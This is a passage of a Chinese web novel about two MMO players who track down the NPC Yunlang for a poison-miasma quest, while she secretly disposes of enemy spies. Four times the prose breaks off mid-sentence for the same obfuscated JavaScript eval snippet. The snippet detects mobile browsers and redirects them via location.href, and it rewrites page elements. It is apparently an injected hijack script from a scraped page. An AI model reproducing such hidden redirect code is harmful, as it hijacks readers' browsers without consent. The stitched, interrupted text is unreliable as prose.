身边这几个同门派亲友玩家,在游戏里日常为了保证代入感,对彼此也是同门相称。id眉妩的亲友给自己捏了个粉雕玉琢的萝莉造型,坐下来时身后重剑比她还高出来一截儿。 百里江手边放着几碟小菜和一壶本地特产的桃花酿,眉妩咂咂嘴,有点蠢蠢欲动起来了。 在《万道征途》这款游戏里,玩家吃东西是能尝到大致味道的,没有实际上的饱腹感,但会根据效果不同施加各种类型的特殊buff,她这个体型最忌讳喝酒,可能百里江喝两坛子都没感觉,她喝两口就会上【醉酒】buff,严重点普攻都开不出来。 但酒也是分品类的,清溪镇的酒闻着香尝着淡,眉妩偷偷摸摸伸手想要摸个杯子过来,还没成功,就被百里江动手挪开了。 “哎呀……”她有点不高兴,“就这么一口,这么小气呢。” “清溪镇算南诏的地盘,这边查小孩子不许喝酒的力度比后梁那边还要大,”百里江瞥了她一眼,另外推了茶水过去,“饶了我吧,我还想在这儿蹲人呢,可不想先在南诏的监狱里呆着挂机。” 眉妩双手托腮,也对着不远处紧迫盯人的本镇捕快长吁短叹:“唉,总在这种奇奇怪怪的地方增加精细度,不过师兄,你说的那招真的好用吗?” 百里江:“我说的多去了,你又说哪个。” “就是在这搜无相楼的探子啊,”眉妩飞快回答,“你说游戏npc的智能普遍都高,如果要找云琅做任务,咱们进不去,就只能是她出来,而她出来第一件事大概率是先搜索附近无相楼的探子,所以咱们在这儿守株待兔就行……” 眉妩微微皱了下眉头,很疑惑地转头看向他:“思路倒是听着没毛病,咱们也在这儿努力好几天了,问题在于——你真的分得出来真正的路人npc和无相楼暗探的区别吗?” 百里江:“……” 百里江:“这顿你拿钱。” * 唉。 背着重剑的女童在掌柜古怪地目光中掏钱结了账,游戏的货币系统也分做各自独立的两套,一套是玩家内部的流通货币金珠,用来交易装备,购买特殊道具,也能连接现实中的氪金系统; 另一套,则是玩家作为“这个世界里的江湖游侠”所拥有的普通货币,眉妩用来和掌柜结账的钱,用的就是这种宝钱。 好在游戏内的宝钱使用范围实在少得可怜,所以大部分玩家对于这种奇怪设定也算是接受良好。 眉妩本来也是这个类型的,不过最近和百里江协同做任务多了,他那套“npc活人”理论也听了不少,如今再看放在柜台上的几枚铜币宝钱,忽然也跟着冒出来个十足古怪的想法: ……这游戏搞出来两套货币系统,该不会真的是为了不让玩家的骚操作干扰内部货币循环,回避通货膨胀之类的金融经济战吧? 啊哈哈哈哈……怎么可能怎么可能,就算是热衷扣细节的游戏策划,但要真的做到这一步就有点太夸张了。 眉妩飞快打乱了这个思路,要真能做到这个地步,游戏背后的策划是不是真的赛博成精姑且不说,那她接触到的npc理论上都算是另一个世界观中的活人…… 她晃晃脑袋,果断掠过了这个稍微有点细思极恐的猜测。 “……掌柜的。”玩家看着茶馆老板认真算账的样子,一脸好奇状地和他打听:“您在这儿开店这么久,有没有见过什么特别奇怪的,或者是那种行踪鬼祟的陌生外乡人啊?” 掌柜一脸古怪看她,也不搭话,只抬头对外面努了努下巴。 眉妩下意识看过去,只见几个穿的花枝招展的玩家挤在一起躲在角落里,鬼鬼祟祟地到处乱看。 除此之外,对着路边人反复问话直至对方不耐烦的、无视身后虎视眈眈马上要拔刀的捕快,依旧在到处摸门看能不能进屋的、试图爬墙登到房顶上,又被房屋主人尖叫着用杆子从上面戳了下来的…… 眉妩转开视线,轻咳一声:“……嗯,看起来不太好找呢。” 掌柜幽幽看她半晌,然后也跟着叹了口气:“若是游侠想问,除了这些一看就特别明显的外乡人之外,镇子上还有哪些奇怪的地方……” 眉妩眼睛一亮,眼巴巴等着对方回话。 掌柜:“游侠若是有空,不妨去驿站附近看一看?实不相瞒,从打毒瘴封了小虞村,本地许多做药材生意的货商也走了不少,最近倒是又来了不少面孔陌生的游商,不过是为了什么原因才来的,这小的就不清楚了。” 有这样一条线索也比没有强,眉妩乖乖道谢,也是不意外发现百里江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094574|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早就没了踪影,琢磨着自己反正也没事,那就多跑一趟吧。 她自己也头痛。 之前说百里江的时候倒是没怎么思考,轮到自己做任务,眉妩其实也不知道怎么分辨无相楼的暗探。 那要不然从奇遇本身入手呢?也不太行,任务提示给的太少,最明显的就是药包,结果就是导致清溪镇附近的药草和本地的药材商都早早被玩家们清扫一空。 眉妩无奈,想着,去水边看看吧。 刚封新手村那会,也有不少人是吐槽过自己被村子里的npc用水路送出来,然后就再也没能回去的。 …… 清溪镇,名义上是溪,其实要比想象中宽阔许多,眉妩溯洄而上,两岸芦花随风摇曳,轻而易举便能藏起流动的人影。 蒹葭苍苍,白露为霜。 清流水声徐徐经过耳畔,老实说这样的环境并不适合眉妩这样的娇小体型独自行动,她抬手握上手中重剑,正准备挥剑清理面前障眼之物,忽然听得远处水声沉闷,似是有重物落水。 水鸟,渔民,还是额外刷新的野怪? 眉妩心里动了动,将重剑从背上拿下来慢慢垂在手边,游戏内的人形怪对萝莉和正太体型的玩家很容易卸下心防,或是起手速度更慢、或是能默认允许他们拉进更近的距离,眉妩将动作调整的更轻,准备一旦出现任何问题,起手就是双手重剑抡一圈再说。 至于什么潜行,什么活口,玩家一向奉行重剑之下众生平等,等全都砸趴下了挨个搜身检查也是一样的。 她脚步渐渐靠近,没听见其他声音继续,心中疑心更重,手中蓄力,不管不顾地准备先抡上一圈再说,那柄黑金重剑骤然起势,第一下便砸得芦花如雪絮,纷飞飘扬。 重剑无锋,大巧不工,【无锋】门派武技大多走得类似以力破巧的路子,眉妩体型虽小,作为玩家的技术操作却不弱,而芦苇荡中似乎也藏着一道人影,对方对重剑似乎早有准备,却稍微错估了挥剑的角度与方位,于是便也轻轻“咦”了一声。 那声调落得很快,轻缓散漫,对于这扑面而来的重剑只是稍稍惊讶,不见更多惊惶。 倒是眉妩先手偷袭,反而落得猝不及防的劣势,重剑剑刃仿佛被什么柔软无形之物缠绕又轻松挥开,对方也不知是哪门哪派的路数,四两拨千斤用得极为纯熟,重剑被迫砸到另一边,砸起满地水花。 芦苇荡中先是探出一双手,苍白修长,骨感清晰,随意拨开雪白芦花,直接走到了眉妩面前。 风吹过茂盛芦苇荡,扬起一缕旖旎桃花香。 她显然是不认得眉妩的,眉妩却微微张大眼睛,对着她愣住了。 云琅本来想说什么,却也因为对方这个表情给压了回去,她垂下眼睫,轻笑道:“少侠这表情,看起来是认得我了?” 眉妩仍是呆呆愣愣,下意识点了点头。 云琅弯着眼睛,眸中笑意更深。 “那……”她稍作思索,随即伸出一只手,笑着询问,“少侠这样看我,可是有什么事情,需得云琅帮忙?” 16. 第十六章 大抵是风声太柔,水声太轻,那一缕若有似无的桃花香迷惑了真实认知的阈值,让人过分沉浸在这情景之中。 蒹葭苍苍,白露为霜。 眉妩本不知道这条路走向哪儿,更不知道这条路会让她走向谁。 溯洄从之,道阻且长。 可偏偏……还真就有这样的一个人,在这儿等着她。 ——溯游从之,宛在水中央。 “……”不过一瞬的怔愣后,眉妩忽然瞪大眼睛,堪堪回了神。 ……不对!她又不系拉拉!在这儿对着人家发什么呆! 女孩一个激灵,炸了毛的崽子一样抖了抖,原本恍惚的眼神也清亮了几分。 云琅仍站在她的面前,耐心无比地等着她的下一个反应,就连那只伸出去的手都没有收回去,反倒是眉妩不小心呆住太久,不小心显出一种近乎无礼的冷漠。 “哎呀……!抱歉,不是,那个,我这个……诶……”眉妩结结巴巴,手舞足蹈,她原本安静太过,好在此时局促的手忙脚乱又很好弥补了此前无意识的冒昧,云琅也趁这功夫打量她一遍,心中疑惑也稍微多了几分。 女孩看起来年纪不大,气质眼神却是超出外貌的利落成熟,一身的锦绣绫罗,点金缀玉,背后那柄黑金重剑,也不是寻常游侠用得起的好材料。 云琅没就这个问题思索太久,反正江湖少侠们身上难以理解的地方一箩筐,也不差这无伤大雅的一点点。 她重新将手拢回袖中,又将之前的问题重复了一遍:“所以少侠,是找我有事?” “诶?”眉妩愣了愣,忍不住挠了挠脑袋:“应该也算吧?这边的任务提示要我解决小虞村的毒瘴,但我好像除了找你也不知道还要干什么啦。” 又是毒瘴。 江湖客们最近仿佛是和这与世隔绝的小村子较上劲了,云琅也不恼,好脾气地又问:“这毒瘴虽然麻烦,但对小虞村也算一道庇护屏障,可是对少侠有什么其他的特殊含义?对你们来说,是非解不可吗?” 眉妩呆了下,这问题对她来说有些奇怪,要说有没有必要,那也可以说游戏里的很多任务和操作都没什么实际意义。 ……可玩家本来也不需要什么实际意义嘛! 于是眉妩相当坦荡的两手一摊,直接回道:“就是要解嘛,就算我不来,也一定会有别人来的。” “如此……”云琅垂眸,认真思索片刻后,也点点头,“那云琅了解了。” “既然要解毒瘴,就要有对应的药物才行,”她反应很快,又接着问:“少侠找我,可是需要对应缓解毒瘴的配药?” 哦!不愧是传说中的看板娘,反应很快很上道嘛,眉妩眼睛一亮,迫不及待地点头应着,“对,就是这个,有嘛有嘛?” 云琅微笑:“这个没有呢。” 眉妩的脸色肉眼可见的变得失落起来了。 眼见着女孩小脸一垮,神色怏怏,云琅也不说话,只低头笑眯眯看了一会,才慢悠悠从衣袖里掏出一个并不显眼的小药包递了过去:“虽然没有能解毒瘴的,但村子里的长辈新研究出来的药包佩在身上,也能缓解毒瘴带给人的压力。” 【系统提示:您已获得任务道具:[特殊的药包]】 私人提示结束后,紧跟着世界频道也刷新了一条新的提示: 恭喜门派无锋·少侠[眉妩]获得关键道具! …… 世界公共奇遇·【归乡路】进度:帮助解开小虞村的毒瘴(0\100000) 眉妩:“……” 眉妩:“……!!!” 哦哦哦!就是这个就是这个! 女孩双手高举药包,面露肃然虔诚之色。 “道具到手啦,不过进度没更新,估计镇子里还有隐藏剧情没解锁,”她喜滋滋的把东西揣起来,还没等想好下一步干什么,比思路更先来到她面前的是系统内部的好友私聊频道。 百里江:你在哪儿呢。 百里江:你人呢,她人呢,东西呢? 百里江:盯紧点,别让她跑了,实在不行用点穴技或是什么道具把她按在那里不要动,总之坐标发我,我马上过去。 眉妩:…… 女孩沉默半晌,忽然抬头,眼神湿漉漉,委屈屈,,眼巴巴地看向云琅。 大概也是那么点说不清道不明的雏鸟情节,玩家面对温柔体贴又好耐心的npc,第一反应升起的通常都是类似的模糊好感,何况云琅给她东西的过程太利落干脆,眉妩眨眨眼睛,总觉得自己对她好像还能再稍微得寸进尺一点。 果不其然,面对这样的少侠,云琅虽然不说话,但也不闪躲,反而十分配合地跟着满脸委屈的女孩一起歪歪头,笑着又问:“少侠还有事情?” 她这次声音放得甚至比之前更柔和些,显出一种难言的包容与亲切,眉妩忍不住撇撇嘴,两相对比之下,女孩的心里竟也莫名生出点奇怪的委屈。 唉,同门,唉,男人。 脑子里只有任务的死直男。 唉,烦死了。 她情绪上得快,但也不至于说特别生气的样子,仍是耐心和云琅解释:“我有个同门,要我把你摁在这儿,不许你动。” 云琅露出一点不解之色,答得却没什么犹豫:“那我不动就是。” 女孩表情郁闷,并未因此放松。 云琅看她,也跟着叹口气:“你这小孩,怎么能还这副表情?还有哪里不放心的?” “也不算吧,”眉妩闷闷道,“就是百里江总说npc……哦,就是说你们,喜欢到处乱跑,要我想个办法把你按在这儿,他太夸张了吧?而且我真的动手的话,你对我红名怎么办?” “红名?”云琅愣了一瞬,随即摇了摇头,“是生气的意思?那倒也不至于,不过少侠若是不放心,也可以用些手段,我并不介意。” 眉妩没动,只撇着嘴角看着她,云琅倒是依旧神色淡定,一副实打实不在意的平静态度。 “……”眉妩沉默半晌,然后说,“那也不至于。” 他百里江也不是一直都能说得算的,她就不给云琅点穴,又能如何? 女孩蹦跶两下到了云琅身边,脚下浅滩行走吃力,一只手恰到好处的伸出,扶了一把走的乱七八糟的眉妩。 两人身侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094575|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芦苇荡窸窸窣窣,女孩冷不丁想起之前的沉闷响动,忍不住跟着探头探脑,“说起来,刚刚这附近好大一动静,什么情况?” “没什么情况。”云琅十分顺手地一拎女孩衣服后领扶稳,又让她看某个方向:“水边塌了一处老旧栈桥,石头把许多东西压进了水里,声音听着自然夸张些。” 她说得轻描淡写,也坦然愿意给她看那边情况,眉妩努力垫脚,偏偏以她的具体高度,也只能看见一簇簇苍白芦花,和云琅领口的浅色绣纹。 这个距离之下,女孩下意识抽动一下鼻子,柔和的桃花香近在咫尺,似乎还隐约藏着一缕模糊的湿漉腥气。 “哪来的腥气?” “不知道呢,”云琅温声应着,语气里有些恰到好处的苦恼,“许是水边高度正好,有人在这儿猎了几只水鸟,没处理干净就走了?要一起找找看吗?” ……唉,算了。反正系统没提示,估计也不是什么大不了的事情。 眉妩喜滋滋努力了半下,就理直气壮地顺势挂在了云琅的胳膊上,直接选择了放弃思考。 这位置挺好,她呆的挺开心。 说是萝莉体型的天然优势也好,说是云琅本来就和别人不同也好,这会眉妩懒懒散散,整个人几乎都快要在她胳膊上化作一团,云琅不但没拒绝,还稍微调整了一下姿势,让靠在自己身边的女孩感觉上更舒适些。 女孩靠得也是相当理所当然。 百里江又没说别的是吧,他还要她帮忙盯着人,是吧。 怎么盯不是盯呢?诶嘿~ …… 游戏内时间流速与现实不同,可如今身处其中,也是能切身体会日升月落的时辰变化,眉妩的耐心本来算不得多好,眼见着河岸对面的太阳早已落下扬起漫天星辰,然而那位语气急促的同门依旧未曾出现。 一股子怒火渐渐开始压在她心口处,连带着女孩一张小脸也变得愈发阴沉不满。 仍安稳待在她旁边的云琅倒是平心静气,看不出半点情绪波澜。 终于,在月亮从河岸一段慢悠悠飘到岸边树梢上时,远方终于姗姗来迟地传来了百里江沉重的脚步声。 眉妩满脸怒气,百里江同样也是面沉如水。 “太慢了!”女孩先发制人,跳起来就开始指责他:“干嘛去了!我和云娘等你半天了,字面意义上的半天诶!” 百里江的目光在云琅身上停驻片刻,然后才转到了眉妩身上。 然后,他阴森森地冷笑一声。 “你给我发坐标了吗?”他声音低沉,满满都是山雨欲来的蓬勃怒气:“你只顾着告诉我你找到她了,我问你坐标的时候你回复了吗!?” 眉妩:“……” 女孩眨巴眨巴眼睛,一脸无辜地看向身边的云琅。 云琅也是无奈地看着自己,只是不见半点斥责不满之色。 眉妩轻咳一声,小声道:“我真的没发吗?” 云琅也对她眨眨眼,学她一起小声回复道,“那看来,应该就是没有吧。” 眉妩:“…………” 她沉默一瞬,刺溜一下钻到了云琅的另一边去了。 17. 第十七章 女孩身形娇小,躲在她的另一边往下一蹲,又拎起云琅胳膊往自己脑袋上一挡,女郎宽大的袖摆便能将她囫囵遮掩个五六分,不过这般行为在眼下显然不大合适,至少对百里江来说,这相当掩耳盗铃的愚蠢行为起到的唯一效果就是火上浇油。 ……纯把他当傻子看是吧。 “你给我出来!!!”他声音暴怒,气到跳脚,却意外地没直接伸手抢人。 哎呦? 这就让眉妩多少有点惊奇了。 女孩偷偷摸摸从袖子下面露出一点视线,并不意外地直接对上一双火气冲天杀气腾腾的眼睛里,她心里还怂,立刻心虚不已地又重新缩了回去。 没错啊。眉妩琢磨着。 这不还是本人吗,没换人顶号啊。 老实说,百里江看起来并不是那种矜持冷静的类型,而眉妩和他认识这么久,也同样万分确信,他确实不是。 躲在npc的身后能代表什么呢?不算安全,npc一般也没办法真的做什么,玩家们日常无视他们的横冲直撞也不止一次了,更何况是一个从未展露出敌意,外表看起来也是如此温和柔善的女性。 要是我的话,看到这架势估计就会直接上手了,躲在云琅袖子下面的眉妩这样想着。 可百里江没有,他看上去明明已经是肉眼可见的气急败坏,仿佛随时随地都会把人拽出来打一顿的程度;但本人却依旧选择站在云琅几步之外,保持着一段算得上礼貌的距离。 这感觉要怎么说呢…… “……”眉妩撇撇嘴,到底还是慢悠悠地从对方身后探出了脑袋。 云琅稍稍抬了抬手配合她的动作,女孩抬眼,对上她那双清亮依旧的眼睛,那只手静静悬在她的上方,无论是她想要继续躲着还是就这样出去,她好像都能接受并配合。 哦,对了。眉妩想。 就像他过去常说的那样。 ——仿佛在这个男人的眼里,面前站着的并不是虚拟世界里一组早已固定的数据,而是以另一种特殊姿态出现在他面前的,一个活生生的人。 ……唉。 眉妩想想亲友日常里的诸多奇怪操作,不由得有点头疼的挠挠脑袋,虽然不太情愿地,但还是鼓足勇气,一脸悲壮地重新站了出来。 “行啦,”她轻咳一声,在百里江阴沉凝视中磨磨蹭蹭地挪了过去,一手递了药包,见他没有当场开仇杀的意思,这才撑起几分胆子和他咕哝道:“不就是没给你坐标吗,清溪镇就这么大,你不也成功找过来了吗?” 百里江冷笑道:“是啊,老子跑遍了整个镇子最后才找到这儿,怎么算是没找到呢?” “……”女孩闭上眼睛,险些又要扑回云琅的身后去。 “总之,先说任务。”见她这反应,百里江也暂时压下了吵架的兴趣,转而将话题落在了云琅身上,问得是相当干脆直白,声音听上去却是意外的矜持冷静:“你身上还有别的药包吗?” 眉妩又探头了:“问的什么话,这种任务npc不是对话就能给道具吗?” “胡扯,”百里江烦躁道,“你看她浑身上下哪里有地方放第二个药包?” 眉妩一愣,下意识看向云琅,对方也配合着点点头,并未多做解释。 那不就是我拿了她本来留给自己的那个? 女孩捂住心口,玩家莫须有的良心忽然就开始隐隐抽痛了,不多,但确实有那么一点点。 “这种事情你居然才反应过来啊?”百里江这会连生气也有点懒得了,他揉揉额头,长长叹了口气,“算了,不指望你们脑子也能跟得上……总之,药包既然只有一个,那接下来先拿回镇子里找药房大夫看看吧。” 这类任务的后续通常也不难猜,药包拿回去找大夫重新拆开分析内容,整理出配方后再公开给玩家,接下来各自寻找对应草药,搭配新的药包,如此来推进具体的任务进度。 很常见的任务流程,可百里江从眉妩手里接过药包捏了捏,忽然又有些严肃地看向始终保持安静的云琅。 她的表情看起来有些疑惑,没有开口询问,只是眼神示意他可以问。 百里江的唇线无自觉地就有些拉平。 对着另一个就那么好脾气,又是给挂给摸,还能有说有笑的…… “我们要把这个拿去拆了,”他抬手和她比划比划,又清清嗓子,低沉的声音有种刻意维持的镇定:“你……呃,或者说,给你药包的那位,应该不介意吧?” 眉妩倏地抬头,表情极诡异地看他一眼,忽然用好友的私聊频道单独敲了敲他:你嗓子被毒齁住了? 百里江看也不看她,小腿猝不及防向旁一抬,被对方反应极快地灵活闪过。 “无妨,配药的是石翁,”云琅虽然不解,但也耐心答了,“药包给我的时候就说过随我处置,我对药理了解不多,若是拆开能帮到少侠的话,请随意就是。” 此番回答似乎也在百里江的预期之内,他有些准备,却也还是在得到回答后才认认真真松了口气。 “那我们先去镇子里。”他低头向下看了一眼她的裙摆,又转开了视线。“之后,应该还会来找你。” 眉妩见他就这样戛然而止,表情愈发微妙,依旧用私聊频道敲他:关键任务npc诶,你之前一直担心会跑的活的看板娘诶,这会又不急着把她捆走了? “她裙子湿了,先让她去换条裙子再说。”百里江下意识解释了一句,话一出口,才发现自己没用频道聊天,而是直接脱口而出。 他结结实实愣了一下,特别是抬眼便迎上了云琅稍显意外的目光,那一瞬间的错愕尴尬瞬间染上整张脸,分明是个高大硬朗气场嚣张的,瞬间转身离开的背影却显得比之前的眉妩还要狼狈几分。 对比之下,眉妩倒是瞬间淡定下来了。 她优哉游哉,神色显得格外意味深长,一边笑眯眯的和云琅抬手告别,一边溜溜达达跟上了前面的百里江,探头看了他一眼,果不其然,迎来了对方一声粗哑恼怒的抱怨:“又干嘛?” “哎呦~”眉妩乐了,“师兄,你这嗓子忽然就好了呀?” 百里江动作一顿,这次他终于毫不犹豫地抬手拽下背后重剑,不管不顾提起便砍。 * 那两个年轻人一前一后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094576|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的走远了,没过一会,风中便送来女孩子嚣张的狂笑,云琅收回视线,手指拎起裙摆,便是此前百里江目光仓促掠过的位置,轻轻抖了抖。 一片深色湿痕,不知何时被河水溅开大片,仿佛是重物从旁突兀砸落水中,一时忘了闪躲,便也不小心弄湿了衣服。 也亏得这样的光线,对方还能注意到这个。 她简单收拾了一下自己,也没急着去镇子上,而是转身拨开一簇簇芦苇荡,重新向更深处走。 这儿位置不算好,只是表面看着平静,水面之下暗流涌动,寻常渔民并不乐意在这儿晃荡,不过今日倒是有一个,穿着斗笠蓑衣坐在岸边,就着流水收拾着一只水鸟和几条河鱼。 云琅在旁静静看了一会,轻声道:“老丈辛苦。” “不辛苦,这年头日子不好过,我这样的老东西没什么本事,也就是到处找地方想方设法混口饭吃。”老翁笑了一声,月下流水清澈,他将几条处理好的鱼又放在水中晃了晃,旁边徐徐染开一缕浅淡血色。 云琅又问:“就这几条鱼,够吗?” “够不够的,总归明面上也能囫囵垫垫,是不是?”他不紧不慢的回了一句,“且不说别的,刚刚和您聊天的那两个年轻人,不就什么都没注意到吗?” “要那两个孩子注意什么?”云琅淡淡反问,“确实有人猎了水鸟,也确实是有人在这收拾,也还没来得及收拾干净,实话实说,没半点掺假。” 老翁闻言抬了抬头,斗笠下露出一抹戏谑笑弧:“说的确实是这么回事。” “不过这水鸟我能收拾,您亲手送出去的药包我可没法子收拾,”他见云琅态度还好,索性趁着兴头又问一句:“当真不介意那些江湖客解了毒瘴?” 云琅没急着回答。 风过耳畔,带来夜幕之下特有的潮湿凉意,她低头看着老翁手边已经收拾差不多的水鸟,只说:“早晚的事。” 天下哪有永恒的桃花源,更何况是这乱世之中。 能在这里偷得些许无忧无虑的清闲时光,已经算是老天对她的额外宽待了。 “这样大的骚动,无相楼的影子早就开始动了,偏偏江湖客们大多还是孩童般的玩闹心思,注意不到太多,不过我也想,这说不定也是个不错的机会。” 外乡来的少侠们依旧是一贯的贪玩爱闹,聚在一起研究解开毒瘴的本意也不过是游戏心态;至于无相楼的会混在这里面也不意外,这时候最适合浑水摸鱼,千载难逢的好机会,他们不会错过。 乱子一定会有的,无相楼出手,动静不会小。到时候,就是石翁带着村子离开的最佳时机。 “……所以我思来想去,实在是想不到阻止他们的理由。” 云琅想了想,将袖中几枚藏了许久的染血铁牌扔到老翁身边,对方拿起来对着月光看了看,随即便将那几枚刻着无相楼字样的铭牌扔进身边的鱼篓里。 “那您的意思是,就这样由得那群年轻人去随意胡闹?” “去嘛。”云琅笑眯眯道。“本来也算不得什么不得了的大事。” “这种程度而已,我还是撑得住的。” 18. 第十八章 夜间的清溪镇要较平时安静太多,也不知是忌讳附近巡逻的捕快,还是不愿意多看一眼嬉皮笑脸的亲友,百里江随手将重剑背会身后,步子也走得愈发快了。 眉妩倒也不急,两人之间气场就这样悄无声息地重新冷静下来,此时一前一后慢慢走着,女孩错后半步距离,瞧着对方头也不回往前走的背影,忽然懒洋洋喊了一声。 “师兄……?” “……” 也是意料之中的毫无回应。 “师兄诶~”她不信邪,又拉长尾音喊了一声。 “……” 她确信对方听得见,可百里江非但没搭理她,反而走得愈发快了。 眉妩见状龇牙一乐,笑得更是愈发张狂:“唉,老江?嘬嘬,别是自动挂机呢吧老江?” 百里江终于无可奈何地停下脚步,表情看起来很想把她挂悬赏栏第一名。 “唉,”眉妩乐道,“也没事,就是好奇你嗓子是不是真的好了。” 百里江只觉头痛,哪怕理论上是游戏世界里的虚假身体,他也还是觉得某种难以名状的头痛延伸到了他自己身上:“你没完了是吧。” “有完的,有完的,”眉妩愉悦道,“不是还要做任务?找药房大夫拆分药包,后续呢?云娘要是不过来,总不能是咱俩当这个后续任务npc吧。” “她一会就会来。”百里江左右寻找着接下来要找的医馆,眼也不抬地答:“你拿了她身上药包,她短期内也回不去小虞村,而且这里大概率还有无相楼的暗探没解决,她应该要处理了这个才会回去。” 眉妩一脸无奈,她就是受不了这个,总是下意识把对方当成一个活人对待。 单纯玩个游戏,老老实实认识到自己喜欢的只是一个稍微更智能的npc不好吗? 可看对方煞有其事地严肃模样,眉妩眼神微妙的沉默半晌,到底还是没出声反驳。 她能说什么?眼见着百里江这人已经彻底走了死心眼,完全没考虑其他的可能性。 眉妩长叹一声,在心里唏嘘:无所谓啦,反正这个类型的总是相当自我主义啦,喜欢嚷嚷着什么一般向游戏肯定不媚宅啦,官方要端水所以不会有正式cp、最后结果肯定都是友情向啦,自己也不是厨子不是梦男只是纯粹剧情党啦…… 啥是纯粹剧情党的她不知道,但她认识的其它剧情党不会以“ooc官方人设”为理由疯狂拉黑无数同担。 …… 清溪镇居民的生活作息和其他地方一样,日出而作日入而息,夜晚走遍也找不到几户开门的人家,更不用提药房大夫了。两人绕了几圈才找到个门派是药王谷的挂机玩家,商量了一会,配好药包他先拿第一个,对方这才同意由他出面去挨个敲门试试。 不同于剑阁或是血滴子之类的凶名在外,药王谷的门派玩家通常只要不走叛逃路线,开局可以自带npc友善加成。而面对同门或是其他大夫更是如此,换了个人去敲门后成功率显然高了不少,没过一会,就真让这位药王谷的玩家敲开了一间药房大门。 和坐堂老大夫聊了聊,这位玩家出来,和百里江两个人聊了起来。 “人家坐堂大夫倒是同意帮忙,不过也说了,这方子一看就是九黎的风格,要是想弄也成,你们找个能明白确定说了算的,对方和他点头了,他马上就能搞。” 眉妩眨眨眼:“九黎?” “南诏的圣教,和现在的横戈营基本可以代表白鹭洲一个道理,”百里江在旁补充说明,“很多问题官方要回避的,但是看九黎的态度,基本也就大差不离。” “也就是新的卫星门派?”眉妩一摊手,重点关注依旧和百里江不一样,“那么问题来了,门派没出,地图没开,我们现在去哪儿找个能说了算的九黎教徒呢?” 百里江的手指动了动,眼神也有些奇妙地放空。 “……倒也不一定非得是九黎教徒。”他轻声道。 他声音太小,眉妩也没来得及听清楚:“你说什么?” 百里江没搭理她。 是了,本来就不一定是九黎教徒,谁说非得按着这个思路才能搞定任务?百里江整个人忽然一个激灵反应过来,给出药包的云琅自己甚至都不是南诏人,可她在这里难道说了不算吗? ——如果是她的话,怎么可能说了不算。 这毫无来由的笃信心理称得上莫名其妙,可百里江升起这个念头后,竟也是连一点否认的意思也没有。 《万道征途》的自由度实在是太高了,连带着玩家的各种神奇操作也是层出不穷,百里江本来不觉有什么,可一旦提前带入某种设想,他再看云琅,这所谓的新手村引导性npc,便怎么想怎么觉得不对劲。 要是所有npc的“活人感”都是真实在线的呢? 要是,这些游戏npc被玩家折腾出来的各种鲜活反应,不止是因为游戏自由度足够高的关系呢? ……要是,他们……他,在这里做的所有事情,都不再是单纯是属于玩家的自娱自乐,而是真的落入了她的眼中,被她仔细看见了呢? 他已经过了会为了一个念头就热血澎湃的年纪了。 可大概是这想法太过新鲜,太过诱人,太适合用来去想象各种各样未知的可能……所以百里江同样能感觉到自己的呼吸愈发急促起来,他动了动脚尖,忽然就迫不及待地想要冲出去,尽快去做点什么。 他这一系列念头转的飞快,连抽空说出来和旁人分享也来不及,眉妩还在这儿和人研究怎么去找对应的九黎教徒,一扭头的功夫,身边的百里江已经彻底没了人影。 “……”唉。 她有点头疼地啧了一声,到底还是没有选择跟上去。 * 游戏内各处传送锚点仍然能用,实际上,除了百里江脑子里的那个想法之外,这里的一切呈现在人面前的,依旧是一个再正常不过的全息游戏。 他没去理会这些,而是认真观察起附近几处无相楼的据点。 南诏与漠北,各自处于地图上的两个极端,中间除了白鹭洲之外还有偌大一个后梁横在其中,即使后梁旧主天性懦弱,任由无相楼势力随意分散地图之上,要想将钉子锚进南诏的土地里,还是要费些力气的。 清溪镇附近也有无相楼,但人数稀少,等级强度不算高,对玩家来说也没什么有价值的掉落物。 百里江快速清理了附近最近的一个据点,除了几个固定掉落的无相楼铭牌,意料之中的没有收获太多线索。 换在其他主城区,会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094577|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂物商人专门负责收购这一类的垃圾掉落物,可百里江脚下一转,却选了另外一个方向。 …… 